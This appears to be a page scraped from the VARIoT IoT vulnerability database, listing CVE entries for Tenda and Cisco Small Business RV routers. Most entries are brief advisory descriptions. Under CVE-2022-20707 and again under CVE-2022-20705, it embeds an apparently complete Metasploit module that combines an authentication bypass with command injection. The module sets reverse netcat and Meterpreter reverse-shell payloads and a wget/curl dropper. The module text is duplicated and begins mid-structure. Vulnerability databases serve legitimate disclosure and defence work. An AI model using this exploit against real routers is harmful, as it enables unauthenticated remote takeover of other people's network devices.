VARIoT IoT vulnerabilities database
| VAR-202202-1250 | CVE-2022-24168 | Tenda router G1 and G3 Command injection vulnerability in |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetIpGroup. This vulnerability allows attackers to execute arbitrary commands via the IPGroupStartIP and IPGroupEndIP parameters. (DoS) It may be in a state
| VAR-202202-0693 | CVE-2022-24166 | Tenda router G1 and G3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the manualTime parameter
| VAR-202202-0692 | CVE-2022-24169 | Tenda router G1 and G3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formIPMacBindAdd. This vulnerability allows attackers to cause a Denial of Service (DoS) via the IPMacBindRule parameter
| VAR-202202-0736 | CVE-2022-24154 | Tenda AX3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formSetRebootTimer. This vulnerability allows attackers to cause a Denial of Service (DoS) via the rebootTime parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China
| VAR-202202-0322 | CVE-2022-20707 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 7.5 CVSS V3: 7.3 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the www-data user. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. When parsing the sessionid cookie, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to bypass authentication on the system.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\'#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\'#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end
| VAR-202202-0325 | CVE-2022-20705 | plural Cisco Small Business RV series router Out-of-bounds write vulnerability in |
CVSS V2: 7.5 CVSS V3: 8.8 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series router Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. When parsing the sessionid cookie, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to bypass authentication on the system.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\'#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\'#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end
| VAR-202202-0694 | CVE-2022-24164 | Tenda router G1 and G3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a stack overflow in the function formSetVirtualSer. This vulnerability allows attackers to cause a Denial of Service (DoS) via the DnsHijackRule parameter
| VAR-202202-1467 | CVE-2022-24167 | Tenda router G1 and G3 Command injection vulnerability in |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetDMZ. This vulnerability allows attackers to execute arbitrary commands via the dmzHost1 parameter. (DoS) It may be in a state
| VAR-202202-1491 | CVE-2022-24153 | Tenda AX3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formAddMacfilterRule. This vulnerability allows attackers to cause a Denial of Service (DoS) via the devName parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China
| VAR-202202-0707 | CVE-2022-24159 | Tenda AX3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formSetPPTPServer. This vulnerability allows attackers to cause a Denial of Service (DoS) via the startIp and endIp parameters. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China
| VAR-202202-1247 | CVE-2022-24157 | Tenda AX3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function formSetMacFilterCfg. This vulnerability allows attackers to cause a Denial of Service (DoS) via the deviceList parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. Tenda Ax3 is an Ax1800 Gigabit port dual-band Wifi 6 wireless router from Tenda, China
| VAR-202202-1468 | CVE-2022-24163 | Tenda AX3 Out-of-bounds write vulnerability in |
CVSS V2: 7.8 CVSS V3: 7.5 Severity: HIGH |
Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the timeZone parameter. Tenda AX3 Exists in an out-of-bounds write vulnerability.Service operation interruption (DoS) It may be in a state. The Tenda AX3 is a dual-band gigabit wireless router for home use, launched by Tenda Technology. It supports the Wi-Fi 6 (802.11ax) standard and emphasizes high-performance network coverage and stable connections. An attacker could exploit this vulnerability to cause a denial-of-service attack
| VAR-202202-0323 | CVE-2022-20703 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 7.2 CVSS V3: 8.0 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a firmware image when performing an upgrade. An attacker can leverage this vulnerability to execute code in the context of root
| VAR-202202-0327 | CVE-2022-20749 | plural Cisco Small Business RV series Dual WAN Gigabit VPN Out-of-Bounds Write Vulnerability in Router |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV series Dual WAN Gigabit VPN Routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state
| VAR-202202-0321 | CVE-2022-20706 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 9.3 CVSS V3: 8.1 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of firmware updates. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root
| VAR-202202-0894 | CVE-2022-20701 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 7.2 CVSS V3: 7.8 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows local attackers to escalate privileges on affected installations of Cisco RV340 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within confd_cli. The issue results from executing user commands at an unnecessarily high privilege level. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root
| VAR-202202-0893 | CVE-2022-20700 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state
| VAR-202202-0329 | CVE-2022-20704 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 5.8 CVSS V3: 4.8 Severity: MEDIUM |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information may be obtained and information may be tampered with. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Cisco RV340 routers. User interaction is required to exploit this vulnerability in that an administrator must perform a firmware update on the device.The specific flaw exists within the downloading of firmware files via HTTPS. The issue results from the lack of proper validation of the certificate presented by the server. An attacker can leverage this vulnerability to execute code in the context of root
| VAR-202202-0326 | CVE-2022-20702 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows local attackers to escalate privileges on affected installations of Cisco RV340 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.The specific flaw exists within the utility-ping-request script. The issue results from the creation of a temporary file with insecure permissions. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root
| VAR-202202-0328 | CVE-2022-20711 | plural Cisco Small Business RV Series router out-of-bounds write vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory. plural Cisco Small Business RV Series routers contain an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Cisco RV340 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the configuration of the NGINX web server. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored web session tokens, leading to further compromise